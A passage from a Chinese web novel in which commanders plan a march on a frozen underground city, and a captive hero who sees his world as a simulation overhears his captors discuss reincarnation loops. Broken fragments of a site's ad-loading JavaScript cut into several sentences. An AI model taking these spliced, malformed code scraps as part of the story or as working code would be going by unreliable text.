燕无立在原地没动,等摄文的大元帅快要经过的时候,他策马迎了上去,拦住了大元帅的路,不太友善地看着他,“我会盯着你。” 燕无说完,调转了马头,黑马甩了甩马屁股走了。 闻人佐没说什么,轻轻踢了一脚马肚子,继续带人往军营里走。 董莉莉坐在燕戎陵的背后,看到摄文大军鱼贯而入,又很快消失在了那些已经搭好的营帐之间。 燕戎陵驱马往主帅营帐的方向走,燕无跟在他的右手边,不过一阵,那个摄文的大元帅也追了上来,挤进了兄弟两人的马匹之间。 只听燕无哼了一声,拉着缰绳转移到了自家大哥的左手边,和那大元帅闻人佐拉开了距离,中间隔着一个燕戎陵。 闻人佐与燕戎陵并驾齐驱,两人还没有抵达军帐,就这么在马背上攀谈了起来。 棕发的大元帅说道:“黎军在南陆的事迹,我们有所耳闻。先是将血皑拥入其手,而后,又是侵占了把守着白鸣谷的甾染。那时候,他们便已经引起了我们的警觉。” 燕戎陵说道:“牧盟和摄文,她选择了牧盟。也难怪,从白鸣谷突入,进攻摄文,这怎么看都是一个太过没有把握的选择。牧盟虽然土地广袤、城市分布散落,但是,想要逐一攻破,也只不过耗费的时间更长一些。如果不是我们偶然拿到了黎军的武器,交给了麦哲也的学者们研究的话,恐怕……牧盟还会有许多城镇遭受无妄之灾。” 大元帅往燕戎陵的身后看了一眼,“难怪,我看到你们的军队中有人会使用枪。” 燕戎陵道:“没错,我看到摄文军也有相同的配备。” “这武器已经不是什么新鲜事了。”闻人佐说道,“所有人都知道它威力强大,所以,它比其他武器更快地流通到各地,这都在情理之中。” 燕戎陵有些感慨:“将来的战争,会不同往日……” 几人来到了主帅营帐的门口,闻人佐下了马,轻车熟路地钻进了军帐。而燕无就往旁边一站,似乎并没有进去的意思。 董莉莉眼瞧着燕戎陵也拉停了马,赶忙对他开口,以免这人忘了自己还在后面——毕竟她一路上都没怎么出声——一脚把自己踹下去,“等等,戎陵哥,让我先下去。” 燕戎陵回过头来,“嗯?没关系,你慢慢下,我正在等你。” 董莉莉听他的意思,是知道她还在后面呢,“你没把我忘了?” 燕戎陵模样有点惊讶,“怎么会?” 两人先后下马,燕戎陵把它交给一旁的士兵,转身向她问道:“进来听听吗?” 董莉莉感觉有点意外。这能让她听吗?一个元帅和一个少尉共处一室,怎么看都是要讨论军事机密吧。 “呃,我可以一起听?”董莉莉迟疑地问。 燕戎陵往营帐里走,掀开帘子,说道:“你在乎的人也和接下来的战争息息相关吧。” 对方居然还记得她的事,这让董莉莉不由觉得一阵感激。应了下来之后,她便跟燕戎陵钻进了军帐。 又回到了这个主帅营帐,里面还是和早上一样,依然摆着那个桌台,上面放着黎军遗弃的地形图。闻人佐大元帅正在站在桌子的一旁,盯着那张地图,仔细地观察着。 后进入的两人凑了过去,燕戎陵开口道:“这是黎军遗留下来的,上面有他们进攻的路线信息。” 闻人佐指着地图上的一个记号,那里打了一个叉,“这里是他们最终的目的地,是吗?” 董莉莉第一次亲眼看到这张地图,仔细观察了一番,凭借多年制图员的经验,分析那记号周围的地理分布,确认它大概是在横古山脉的东侧,离惊海湖非常近。 惊海湖……那是杜光欧最后一次出征的目的地附近,也是他们所有的队员丧生的地方。 燕戎陵回道:“没错,他们的行军的终点是横古山脉。可那是一座连绵的大雪山,我们一直想不清楚,他们为什么要往那个方向去。” 闻人佐沉默了片刻,他说道:“黎军的目的地是元城。” 董莉莉听到这个城市的名字,想了半天才回想起来,那是葛马提到过的城市,而他最后一次离开就是往那里去了,“元城……” “元城?”燕戎陵一副一无所知的模样,不解地问道,“那是什么地方?” 闻人佐垂下视线,答道:“那是一座处于溶洞中的地下城池。” 燕戎陵恍然大悟一般,说道:“啊,是那个……呃,历史书上写的,那个古早被称为‘暗界’的地方?” “什么史书有关于它的记载?”闻人佐困惑地问。 “我很小跟爹到处打仗的时候读的书,上面写着是史书我就信了,那书我记得是在一个比挚忘峡更南的某个小镇上捡的。” “是吗……南陆的情况我不太了解,摄文未曾有书目记录过那座城市。”闻人佐道。 燕戎陵模样有些困惑,“可‘暗界’不是经历了一场大洪水,然后就毁灭了吗……黎军去那里干什么?” 闻人佐说道:“只是个推测——黎礼可能是那里的故民,她去元城,应该是想重新复原它。” 燕戎陵皱着眉头 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,表情拧在一起,“……啊?” 闻人佐道:“也就是说,那座城市在大洪水之后,进入了长期的休眠状态,被封在冰层之下。黎军的目的,应该是进入元城,然后,通过一些我们现在还不知道的方式,将那座城市恢复到大洪水以前的样貌。而后,再动用那里超出常理的兵器,做任何她想做的事情。” 燕戎陵道:“等一下……你这个说法,就好像你去过元城一样。” 闻人佐的目光从地图上抽走,波澜不惊地看着燕戎陵,“我的确是从元城那里赶来的。” 燕戎陵的表情一顿,像是绕不清了一般,“等下,那我就想不明白了,兄弟,既然他们的目的地是那个元城,而你又是从元城过来的,那、你来的路上,没和他们撞上?” 闻人佐道:“黎军的残部应该会闻讯躲避,毕竟摄文军人数不少,行军的动静还是过大。” 燕戎陵嘀咕了一声,“说的也是,是我没想到。嗨,我没打过这种规模的仗……” 顿了半晌,闻人佐突然问道:“你们和黎军交战的时候……交战之前或者之后,有遇到一个名叫杜光欧的男人吗?” 董莉莉一听,猛然朝闻人佐望过去,她不知道为何摄文大元帅的嘴里会突然叫出这个名字。 “杜光欧……”燕戎陵念叨了一声,突然朝董莉莉转过头来,“莉莉,是你在找的人吧?” 闻人佐闻言,也看向她,“你在找他?” “嗯。” “我也在找他。”闻人佐说,似乎是为了证明没有恶意,他补充道,“我们有约,本来要在元城会面,但我却没在那里等到他。” 对方听起来十分真诚,于是董莉莉把她所知道的说了出来,“昨天夜里,他假扮黎军,混迹在其中。但为了救我,最终……应该是被黎军捕获带走了。” 听到董莉莉的描述,闻人佐使终沉稳的表情出现了一丝波澜,眉间皱起沟壑,像是遇到了什么麻烦事一般。 “怎么了?”燕戎陵听见两人的交谈内容,讶异地问道,“这个杜光欧怎么了?大元帅,你也认识这个人?” “本来,为了找到一条能穿越横古山脉东部的道路,我们在一起行动。”闻人佐说道,眉目上的沟壑没有平复,“找到元城之后,我们兵分两路,他留在了那里,而我回摄文报信。但当我回到元城的时候,他却不在了。那时我听闻了黎军的动向,于是便领着军队南下,没想到碰上了你们,而你们已经先一步击溃了黎军。” 听到这里,董莉莉陷入了沉思。 杜光欧抵达了元城……他依然在为复仇的事情而奔波。大元帅说他后来从元城消失了,应该是被葛马引走了,混进了黎军之中,那之后的事情她都知道了。 想到这里,一丝疑惑划过董莉莉脑海。 杜光欧先前已经成功混入了黎军,要不是因为要出面保护她,大概没人能看出他的伪装。他肯定是冲着刺杀黎礼去的,可从结果上来看他没有成功。 是因为时间不够吗?还是她和董夜明的闯入打断了他的计划? “黎军确实很恐怖,难怪元帅不惜深入南陆也要阻截他们。”燕戎陵摸着下巴说,“不过,他们现在只剩一个残部,已经成不了什么气候了。” “还没有结束。”闻人佐神情凝重地说,“他们在朝元城进发,我们已经落后了。” 223. 真实的目的1 “落后?”燕戎陵不明所以。 闻人佐:“原本不应让黎军接近元城,那里的东西如果落入她的手中……这世界上将再难有人与其抗衡。” 燕戎陵:“你刚才也说了类似的话。元城里到底有什么?” “很多东西,我形容不了。”闻人佐掏出了怀中的一把枪,将它放在了桌面上,“在那座城市的面前,这种武器不值一提。尽管它一夕颠覆了我们的战争,让许多人都已经以血肉之躯领教了它的实力。但是……元城不一样。如果说枪是一种颠覆,那么,元城便是在那颠覆之上的颠覆。且不光是之于战争,而是之于我们所赖以生存的一切。” 燕戎陵张了张嘴,说道:“听着……好像很厉害。” 闻人佐收起了枪,说道:“但是,我们现在能仰仗的,也不过是这一把把枪而已。时间已经不多了,在黎军抵达元城之前,我们要想办法拦住他们。” 这时候,有人掀开营帐,走了进来,一声招呼也没打就加入了谈话。 “要去元城?”来人是燕无,他简单干脆地问道。 见到对方,闻人佐适时闭上了嘴,似乎不打算回答他这个问题。从模样上来看,摄文大元帅并不是对甾染的前内承有什么意见,或许,他只是不想和这个年轻人再起什么争执。 燕戎陵回应自家的四弟说:“对,黎军往那个方向去了,所以我们也得过去。” 燕无沉思了片刻,没有接上大哥的话。 燕戎陵又解释道:“燕无,咱们不是说好了,要给父王报仇吗?虽然元城那地方听起来有点玄乎,但是既然黎军——” 燕无盯着自己的兄长,表情没什么变化,打断他道:“说这些干什么。我没说不赞成前往元城。” 他这话一出,燕戎陵反而结巴了,“啊,你,没有不赞成。唔。我以为你还在和大元帅较真……” 听到这里,燕无有些嫌恶地看了自家的兄长一眼,那眼神仿佛在说,不要当着外人的面,把他说的像个无理取闹的小孩子。下一刻,燕家四弟的目光落在董莉莉的身上,对她说道:“我记得你说,那个红头发的男人和古古也是前去了元城,是吗?” 董莉莉回答燕无的问话,道:“是的,他们是这么说的。古古她好像很在意自己的……嗯,出身。” 她寻了个妥帖的词,从自己听到的只言片语中总结出那个女孩可能想要去做的事。无论这些只言片语是来自女孩自己,还是来自喋喋不休的葛马。总之,古古似乎的确是为了弄清一些家里人的事情,而去往了元城。 燕无:“那个金发的妇人也是这么和我说。看来她真的去了……” 这时候,闻人佐说话了,“你们说的古古,是不是一个个头不高,眼睛是棕色的女人?” 听到大元帅这么形容,燕无顿时瞪大了眼睛,带着一丝不易觉察的急切问道:“你见过她?她现在在元城吗?” 闻人佐说道:“对。大军随我一同穿过元城的时候,她还好好地在那里待着。” 燕无紧接着又问道:“她一个人吗?身边还有别人吗?” 闻人佐道:“有一个上了年纪的老人,还有一个学者模样的男人,他们关系似乎挺融洽的。” 听大元帅这么说,燕无神情微不可查地镇静下来。他转而面向自己的大哥道:“事不宜迟,整顿好之后立刻出发吧。” “等等,等等,别那么心急,我们还没有确定路线呢。”燕戎陵说道。 “我知道怎么走。不过摄文将士已经奔波疲敝,估计需要休息一晚。”闻人佐说完,不忘征询燕无的意见,“这样的安排,能接受吗?” 燕无看了闻人佐一眼,神情有些变化,“……可以。” “那我们接下来的目的地确定了。”燕戎陵指着地图上,黎军标记的终点,“就是这里,元城。” 董莉莉也看着燕戎陵指尖所指的地方。 元城,一个仿佛只在传说里存在的城市。一个让摄文的大元帅用话语无法形容的城市。 同时,也是她仇人目的地,是在乎的人前去的方向,更是决战的战场。 她辗转流离,活到现在,苟延残喘,不管尊严为何物,抛弃安全与归宿,与恐惧相伴,这一切,就是为了在那决战的场地上,和仇人一决胜负。 那样的日子就快要来了。 ## 他所在的空间剧烈摇晃了一下,似乎有人把他放在了地上。 杜光欧活动了一下身体,他的手脚依然被束缚着,末端已经开始发冷,失去知觉,嘴里塞着布团,嘴巴大张得太久了,弄得脑仁一阵阵地疼。他无法自由行动,无法发声,被装在一个麻袋子里,像一个货物一样被搬来搬去。 这种近乎屈辱的待遇,他已经很久没有领受过了。上一次,还是在去年冬天刚过的时候,他结束了最后一次充满了牺牲的远征,回到血皑城,却被兄长杜光遗在城门口截堵。 那时候,也是这样,人们把他的手脚捆起来,嘴巴堵住,像是知道他有什么能力一般,不给他一点施展的空间。 血皑城门前的那一次,他最后得知,背后的提议者是白熠。而黎礼的这一次,背后的出谋划策者,显然也是他。 白熠比谁都了解这个所谓的“回溯力”,甚至一度比杜光欧自己都了解它。就像是一个学者,遇到了自己感兴趣的课题,通读古书,做尽了实验,钻研得比世界上任何一个人都要清晰透彻。 有时候,杜光欧真的很后悔把自己的能力告诉他,还那么没有防备地与他分享经验和感受。曾经他只是有些后悔,现在前所未有地极端后悔。 便是因为自己的毫无保留,导致现在失去了自由,毫无自尊地被人搬来搬去。便是因为白熠对回溯力的充足了解,所以,即便是最新掌握的主动触发法,还是轻而易举便被男人所破解。 杜光欧还记得自己是怎么输的。 在黎军的军营,他为了救出董莉莉,而与一众士兵交战,那些包围着他的枪手片刻不歇,没有丝毫的手下留情。 但是,借助回溯力,还勉强坚持得住,毒药还在手里,他能“看到”接下了一段时间的未来,并根据那些可能发生的事件,调整他接下来要做的事情、要去的地方、要做出的动作,等等等等。 但是,要主动触发能力,他总是需要挑一个时机,将毒药送进自己的嘴里。 那最后的最后,白熠带着董莉莉来到了战场上。在通往其中一种未来的可能性中,他看到白熠下令,让一旁的士兵击杀了她。 杜光欧不接受这样的未来,他三番五次阻止白熠,无论是口头上的制止,还是其他什么更加激进的行为。他不相信对方会对董莉莉做这样的事情,但是,那个白头发的男人的确做了。 现在回想起来,或许,那是一种策略。白熠知道,杜光欧不会让董莉莉死去的未来继续下去,所以,他才产生了开枪杀她的念头,并且真的动了手。 白熠在赌,用他对回溯力的熟知,在赌一场生死较量,在通过这种方式观察杜光欧的破绽,而他的确做 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 到了。 杜光欧不太清楚是哪个环节漏了陷,让白熠发现了他主动触发回溯力的方式。可能是战斗的过程中,也可能是为了救董莉莉的时候。 或许,就是在某一次服用毒药的过程中,白熠看到他拿出了那个匣子。 白熠是个聪明人,只是看到这个动作,大抵就会有无数的推论出现在他的脑海里,那其中,一定有一个通往最正确的结论。白发男人需要做的,只是通过观察、推理、实践,去排除其他错误的选项,留下一个正确答案。 最终,他确认,杜光欧便是以吞下毒药的方式,主动触发自己的能力,以此来获得关于一小段未来的可能性的记忆。 而杜光欧在被白熠看到那个药匣子的时候,基本就代表,他离失败不远了。 最后的那场戏,白熠亲身来到了战场上,以董莉莉的安危要挟他。那时候,杜光欧没有多想,不觉得那是一个陷阱,但是现在回想起来,那个身子骨脆弱得不如孩童的男人会亲自来到战场上,一定有他暗藏的心思,白熠绝对不会让自己无端落入如此危险的境地,如果他落入了,那么,他一定有自己的安排和计划。 杜光欧应该觉察到的,但是,当时的情况,他无法灵活地思考。 他把白熠按在地上,打算吞下毒药,然后质问他为什么做这一切。白熠一定是看到了他的动作,知道接下来的一段时间,将是回溯力发动的倒计时,那也意味着,这段时间,不会真正地成为真实。 白熠在那段时间里,对他说了一些话。直到现在,杜光欧依然耿耿于怀。 白熠说,他之所以帮助黎礼,是为了一个没人可以抗拒的使命,只要是活在这个世界上的人,只要是属于这个世界的人,知道这个世界可能在发生什么,都不会拒绝这样的使命。 他说,自己之所以什么都不要了,什么都不顾了,朋友、亲人,都可以利用、背叛,那是因为他知道了一些事情。一些他觉得自己还不如不知道的事情。但是,既然已经知道了,就没有办法置之不理。 他还说,凡是理解了这件事的人,都会做出和他一样的选择,这一刻,没有什么世俗的恩怨,没有什么你我,所有人都是自我,所有人都必须凝聚在一起,成为一个集体中的一部分。这种团结,是为了对抗更大的灾难。 他最后说:“但是,光欧,或许你可以不用在意这些。我说的,只是我们自己的事。你一开始就突破了世界的常规。你和另一个超出常理的人不同,那个人所做的一切,都是为了我们生存的土地。但是,你却是把这片土地玩弄于股掌之中,这或许不是你的本意,但是,你的能力就是这样的东西。” 白熠还说:“我有过许多的猜测,关于你,关于你的能力。其中,有那么一个结论,我不知道你赞不赞同。” 那时候,白发男人露出一种几乎能穿透一切物件的眼神看着他,像是在观察他每一个细微的表情。白熠说:“你的能力凌驾于这个世界之上,就像这永不停歇的寒冷一般,对我们生活的土地,想做什么,就做什么。我想,或许……这只是一个猜测,如果我触怒了什么东西,你且当我没说过。那个我最确信的结论,便是:你和造成这个世界永冬的始作俑者——无论那是神、是人、还是什么东西——你和他们,是在一个层级、或者维度上的东西。不管你自己是否有这份知觉,事实大抵就是这样,因为我其他的结论,或多或少都有无法自圆其说的地方。” 当时,白熠凝望着他,如此问他:“……你知道自己是什么人吗,光欧?” 224. 真实的目的2 杜光欧不太记得自己的反应,但是,无疑,沉默和滞愣伴随着自己,白熠的话让他有种被看穿的惊慌。 或许便是这些细微的信号,传递给了白熠一些信息,他最终说道:“我明白了,你知道自己是什么人。你没有反驳我的话,你默认了。那么现在,我大概也知道你是什么人了。” 然后,在这之后,时间回溯了,杜光欧的能力发动,但是,他自己还没有太反应过来。 那一刻,他还为了白熠的那番话而呆滞,而且,眼前的景象也没有什么变化——他已经不是第一次因为这种原因,而没能觉察到回溯力的发动了。 然而,白熠却比他早一步注意到了,他比杜光欧更快一步察觉到了回溯的结束。或许是通过身上人表情的变化,或许是通过突如其来没什么逻辑的话语,白熠注意到了这点。然后,便是在这短暂的一瞬间,他出手,打飞了杜光欧手中的药盒。 那一刻,胜负已经定下了。 没有了主动触发回溯力这一使用方式的加持,面对那些枪林弹雨,他变得无比被动,只能节节败退。而且,始终在为了白熠的那番话胆战心惊,应付得心不在焉。 曾经,在他不知道自己是谁,“杜光欧”是谁,这个世界是怎么回事的时候,听到白熠那些话,只是会觉得对方在胡说八道。 但是,在他已经悉知一切的当下,那番话听起来就有些毛骨悚然了。 仅凭对回溯力的观察,白熠几乎猜测出了他的真实身份。 有时候,杜光欧确实很佩服白熠,他的聪明才智的确是常人无法比拟的。但是,有些时候,他也会因此而觉得恐怖。 杜光欧忘记有没有说过,他曾经庆幸白熠不是自己的对手,这样的家伙如果成为了敌人,和自己不在一个战线上,那么一定是非常棘手的难题。他是参谋,也是决定了战争成败的人,他在一切有形或者无形的战争背后出谋划策。而所有想要和白熠所代表的一方开战的人,都必须想法设法第一个解决他,如果不这么做,就会被他没有尽头地利用和算计。 然而,显然,他已经错失了先拿下白熠的机会。在“样界”外的时候,他得知白熠这个“个体”还活着,那时……只是感到有些庆幸,但是,他万万没有想到,这个男人居然和黎礼联合了起来。 他实在想不通,一个样界中的人为什么会有这么高的智谋,都说由人类创造的个体,其智力不会超出创造者本人,那白熠到底是怎么回事,这个男人的思维程序代码究竟是谁写的—— 想到这里时,突然,他感到一阵天旋地转。虽然他看不到天也看不到地。 有人抬动装他的麻袋,把它放在了一片坚硬的铁板上,新的空间非常狭窄,杜光欧只能蜷缩起身体,才不至于被周围坚硬的铁板硌得生疼。 他好像是被放在了一辆有轮子的载具上,它开始剧烈的颠簸起来,载着他往不知什么地方去。 周围越来越冷了,身体开始不由自主地打颤。 该死,这些人是想要冻死他吗?难道不知道在种情况他要是被冻死了,回溯力一触发,结果怎么样可就不好说了。 然而事实上,离他被冻死还差得远。 想问这些人到底是要把他带去什么地方,但嘴巴被封着,也说不出话来。 无奈,杜光欧只能忍受着寒冷和颠簸,继续与自己的思绪作伴。 说到底,事情会发展成这样,实在有些超出了预料。 最初,从外界回到这个样界中来,他尽量没有表现出什么异常,把闻人佐支走,让他回去搬救兵对抗黎礼,那个时候,他的心思便已经不在这场战争上……不,或多或少还有一些,但是,重点却已经不在这里。 闻人佐走了,自己也离开了元城,那时候,他的目的非常明确,那便是找到葛马。他有太多的疑惑,需要这个充满了谜团的人来回答他。 但是,在这漫漫天地之间,要找到一个人是何其困难。所幸,他离开元城去往牧盟的时候打听到了一些消息。红头发的人种在南陆实在过于少见,无论经过何处,基本上都会有人记住他,而葛马似乎也没有隐瞒自己踪迹的想法,这方便了杜光欧去跟踪寻找他。 他还记得,曾经有一段时间,葛马和董莉莉为了追回他,一路尾随他去往了甾染、到达了白鸣谷。然而,现在,情况却完全反了过来,他不得不为了找到葛马而四处奔波。 顺着葛马的踪迹,他一路南下,而后,刚好和黎军的军队打了个照面。他分明看到葛马混入了军营之中,为了找到他,自己也乔装打扮了一番。 然而,却没有想到,在那里见到了董莉莉。女人被黎军的精锐包围,危在旦夕。他设法拯救了她,但她妹妹却是无能为力。 后来,他的伪装被白熠看穿了,因此落入了一场苦战。 其实,在那之前,他应该离开的。就算把董莉莉留在黎军的营地里,黎礼将她胁作人质,她应该也不会遇到什么生命危险。 但是,他就是做不到。做不到看着那个女人失去自由,见不得她脸上痛苦的神情。 他不知道自己怎么了,他不应该在乎。明明有更重要的事情去做,暴露在黎军面前,只会让事情更加难办。 他有高于这个“世界”中一切事物的目标,那才是他应该去执行的第一要务。 然而,在抱着董莉莉逃离黎军的包围圈时,杜光欧却只有一个念头,那就是把她安然地救出去。 他不知道当时自己为什么非那么想、那么做不可,就像是有什么东西控制了他一般,让他变得感性、不再理智。 他一次又一次提醒自己,这里的人都不过是一些冰冷的数据,他们不是真实存在的人。会觉得真实,只不过自己的大脑被动了手脚。离开样界之后就好了,他就不会再那么关心这些占据了他太多心神的个体。 此刻,杜光欧躺在冰冷的铁板上,冷得已经有些发木了。 身边偶尔传来士兵的交谈,似乎在说“有人来过”、“路程不远”一类的话。 他没有听进去,依然回想着不久之前发生的事。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 在他最终被黎军抓捕之际,董莉莉还在军营里面,没有人能够保护她。要是有什么危险发生了怎么办,战场不同于他们远征去过的险恶自然环境,她虽然有着丰富的野外经验,可在那充满了厮杀的场地中,她能照顾好自己吗? 不,停下这种想法吧。那和他没关系,不管董莉莉怎么样,也和他最终的目标没关系,自己最终是要离开这个“世界”的,这世界上的一切都…… 但是,她后来怎么样了?杜光欧记得,最后军营中似乎产生了阵阵骚乱,他听见有人通报,说有敌军进攻了黎军所在的驻地。那会是谁的军队?是闻人佐带着人赶过来了吗,还是其他的势力? 不管怎样,骚乱之中,或许董莉莉能够找到脱身的办法,她那么聪明伶俐,只是逃跑的话不在话下。 …… ——不,别想这些了。杜光欧。多想想你自己的事吧。 他晃了一下脑袋,像是想要把这些思绪甩出去一般。 现在这幅惨状,远不在他的计划之中。被白熠看穿了能力的运作方式,甚至几乎被他猜出了自己的身份,这些都是他远远没有料到的。 不过,对方只是一个过于聪明的“人”,或许代码比其他人多写了几行,构造比其他人更复杂了一些,这样的一个人,一个在样界中虚拟的生命,真的能做出超出这个样界之外的推论吗……? 不,不可能。一定是他理解错了男人的那番话,对方不可能知道正身处于怎样的一个世界,白熠不可能有这种意识,那不是他作为一个样界中的“人”能够突破的壁垒。 他一定理解错了白熠那些话,只是因为知道到底是怎么回事,所以,才难以扼制地往真相的方向联想。 或许白熠什么也没猜到,或许他只是把杜光欧理解成了高等人类、或者是某种接近于神明一类的东西,白发男人没有样界的概念,他不知道“杜光欧”来自这个世界之外。 就像树不会知道自己是树,河流也不会知道人类给它们起的名字,白熠也不可能知道他自身究竟是什么。 他不可能突破这个思考的局限,不可能。 又是一声巨响打断了他的思绪。 承载他的铁车似乎撞上了什么东西,巨大的嗡响震得他脑袋差点爆炸了。 那之后,一扇闸门打开的声音响起,他感受到了一股潮气,在这本就冰如寒霜的环境中,更是增添了一份凉意。 他不知道自己被转移到了哪里,有人走过来,把他从麻袋里解放了出来,又摘掉了遮光的头罩。杜光欧看到了一盏明灯,那刺得他睁不开眼睛。 在他无法看清周围事物的这段间隔,有人在他的身边展开了交谈。 那首先是一个女人的声音,有些冷冰冰的。听上去耳熟,但一时回想不起对应的面庞,“这里还是和以前一个样子,几乎没有什么改变。” 而后,另一个矜重的声音响起,这个就熟悉得多,是黎礼,“很难有什么改变。这里百年前就在冰里凝固,你指望它有什么变化,才是不可能的。” 225. 真实的目的3 而后,那个声音冷淡的女人说道:“母上依然在这里吗?我们接下来……就是去找她?” 黎礼回答道:“没错。” 杜光欧渐渐适应了那个光亮,看清了直射他眼睛的东西,那是非常近似于白炽灯的一个灯泡。一瞬间,他有些恍惚,以为自己离开了样界,回到了更加现代化的现实世界。不过,只属于样界中的人才有的声音提醒他,他还在这里。 他扫视了一圈周围,头顶上除了晃眼的灯泡以外,还有一面雕刻十分繁华的天花板,它被白光映照着,表面上又铺盖了一层霜,显露出一丝苍白萧索的意味。 这个空间非常的高,像是为了举行什么仪式而建立,有些像外界的教堂。再往下方看去,教堂里整齐地摆放着可供休息的长排座椅,只是,现在那些椅子上一个人都没有,表面也都结了霜,似乎已经很多年没有人用过。 而他自己则被弃置在一个无关紧要的角落。人们把他放下之后,就不再理会了。 杜光欧转动眼珠,看到了几个人影。先是熟悉的那几个——黎礼、白熠。这没什么好意外,自己被抓就是因为这些人。 而另两个人倒是让他有些没想到,那是一个女人和一个高个子的男人。杜光欧回想了一番,才想起来他们是谁。 那是夏未信,曾经和他在琉城有过一小段不那么愉快争执的人。那时候,她是琉城内城的主人,杜光欧和白熠盘踞在琉城外城,和夏未信发生过一些冲突。同时,这个人也是夏潜——最后那次远征唯一存活下来、却死在血皑城门前的那个少年——的义姐。比起琉城经历的那些,杜光欧还是对夏未信义姐这个身份的印象更加深刻一些。 而她身边那个高大的男人,他记得,好像琉城那时候就跟在夏未信的身边,似乎是叫遮天还是握天还是什么,总之是个符合身材样貌的名字。之所以杜光欧记得他,不光是因为男人长得高大,更是因为他身上斑马条纹一般遍布的伤痕,那看上去触目惊心。曾经杜光欧以为那些是冻伤,现在他更觉得像了。 不理解的是,为什么这两个人会出现在这里。但是转念一想,也不重要了,他们出现在这里,就代表和黎礼是一伙的。事到如今,经历了那么多糟心事,连白熠都站在黎礼的那一方,现在无论谁加入她的阵营,杜光欧都不觉得奇怪了。 “我去找母上,如果她依然在熔炉旁,应该就能在那里找到她。”夏未信说道。 黎礼说道:“嗯,有劳了。找到她之后,把她直接带去我们的目的地吧。” “好。擎天,跟我走吧。”夏未信看向地上的杜光欧,向黎礼说道,“他怎么办,要让擎天把他运到哪里去吗?” “没关系。”黎礼找了个地方坐下来,说道,“把他放在这里就好,距离已经足够近,能够波及到他。” 杜光欧皱着眉,盯着黎礼,不明白她在说些什么。 心里有一股火气升起来,而那绝对不是因为听不懂对方的话,也不是因为他们把他绑起来,屈辱地随意丢置在这里,而是因为看到那个女人的脸的时候,他就会想起来她曾经做过的一切。 父兄的面庞在眼前出现,复仇的气焰在心中翻腾,几乎违背本人的意愿。 杜光欧偏移了视线,他不想这样。这种无法掌控自己情绪的感觉,就仿佛被什么人夺舍了一般,他很不适。 另一边,夏未信带着擎天往教堂的外面走,与此同时,门口窜进来一个年轻女人的身影,那是黎梦。 “母亲,这地方也太厉害了!”黎梦满脸兴奋,像是见到了什么惊奇玩意一般,说道,“我从来没有见过这些东西,自己就可以发光的装置,可以在天上滑行的车,自动升降的楼梯,还有那么大一个人型的铁块,那些都是元城人造出来的吗?” 黎礼看了黎梦一眼,面上没有什么表情,只是说道:“黎梦,你跟着夏未信一起,去找我的母亲。” 黎梦似乎没有在意黎礼的漠视——那话语里是有漠视存在的,黎礼不管黎梦说了什么、在乎什么,只是一味交代自己的事情——她只是欢快地答应着,“好的。” 夏未信、擎天、黎梦三人离开了教堂,如今,只剩下黎礼和白熠两人,还有一个被捆在地上、动弹不得的杜光欧自己。 另外两人都没有看他,像是把他当成了一个摆设,觉得他不会听、也不会看一般,当他不存在,只是继续着他们之间的交流。 “马上就要到最后的时刻了。”黎礼说道,她看着黎梦等人消失的大门,双手环抱着自己胳膊。她穿得很少,肩膀裸露在外面,和另一边裹得严严实实的白熠形成了鲜明的对比。这个女人好像完全不怕冷一般,连吐出的空气有没有一点温度,凝结不出白色的蒸气,“你觉得我们有多大的把握?” 白熠回答道:“我没有上一次的记忆。记得上一次发生了什么的,只有你们几个人。没有对照,我没法给出结论。” 黎礼回过头来,看着白熠,脸上似乎有些嘲弄的意味,“回答得这么小心谨慎干什么,放心,我又不会把你的话当成断言,也不会根据这个决定你的生死。” 白熠抱着身体,也给自己找了个没结冰的座位坐下来,“那真是感激不尽。” 两人就这么闲聊起来,像是突然一点也不紧迫了似的,明明前不久还在斥军急行。 黎礼观察了一番白发的男人,说道:“这一路来多亏了你,没想到真的有那么多势力截堵我军,没有你,我们不会这么顺利地抵达元城。” “多谢夸奖。”白熠道。他像是说过很多遍这种话一般,脸上没有一丝谦虚的痕迹,语速很快,就像是条件反射。 黎礼眯起眼睛,似乎不打算就这么将话题从对方的身上转移,继而说道:“你这么聪明,比 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 我们所有人都聪明……他不可能这么久都没有注意到你。为什么你没有成为孑塑者?” 一个熟悉的名词传进耳中,“孑塑者”,杜光欧已经听到过好几次。不知道它代表了什么,原理又是怎样,只知道,那是葛马给予别人的一种权能。摄文的姜昆维似乎拥有这项权能,杜光遗也曾开口索要过,但是,得到这个权能的人能做到什么,现在依然不清楚。 “白熠没有成为孑塑者,是因为他拒绝了我。” 这时候,一个声音远远传来。一开始,它像是飘在房顶上一般,传来阵阵回响,而后,末尾却又落在地上,变得钪实真切了起来。 杜光欧看过去,睁大了眼睛。那是他一直在找的人,一直追逐着、却一直没有追上的红发西索人,葛马。他居然就这么出现在了这里。 他的装束是信差的模样,依然背着那个臃肿的斜挎包,而非穿着那身不适合他的蓝色衣袍。红发男人走上前,像是根本没有看到地上还有个被绑起来的人一般,径直和另外两人交谈道:“我曾经向白熠发出过邀请,他是唯一一个拒绝了我的人。” “那种事情也不能怪我,葛马。”白熠随意地说道,像与对方关系很好似的。 但是,在杜光欧的印象里,他们的交集只发生在琉城,再之后,白熠假死留在血皑,葛马则一直在大陆的东边行动,按理来说两人应该没有接触。 白熠道:“成为孑塑者,就能突破轮回的限制,拥有连续的记忆……这种能力,我说不上是好还是不好。” 黎礼问:“你拒绝的原因是什么?” 白熠一笑,面容有些哀戚,“我可能要说些不那么涨士气的话,但是,这些确实是我的真实想法。我们在做的事情,它从一开始,看上去就那么的无望。如果,一直找不到一条通往未来的道路,那么,我们将永远被困轮回之中。如果真的会变成那样,我宁愿做一个傻子,什么都不知道,什么都不了解,在无知之中,枯燥地、重复地、但也单纯地存在下去。” “也就是说,你只是因为害怕,害怕没法实现目标,怕这件事没有尽头,所以,才不接受他的权能。”黎礼对白熠说道。 “是的。”白熠坦然地回答道。 “虽然很胆小,但也说得没什么错。”黎礼看向那个红头发的男人,说道,“在我成为孑塑者之后,不过度过了短短十几个轮回,但听说你已经历经几百次了。” 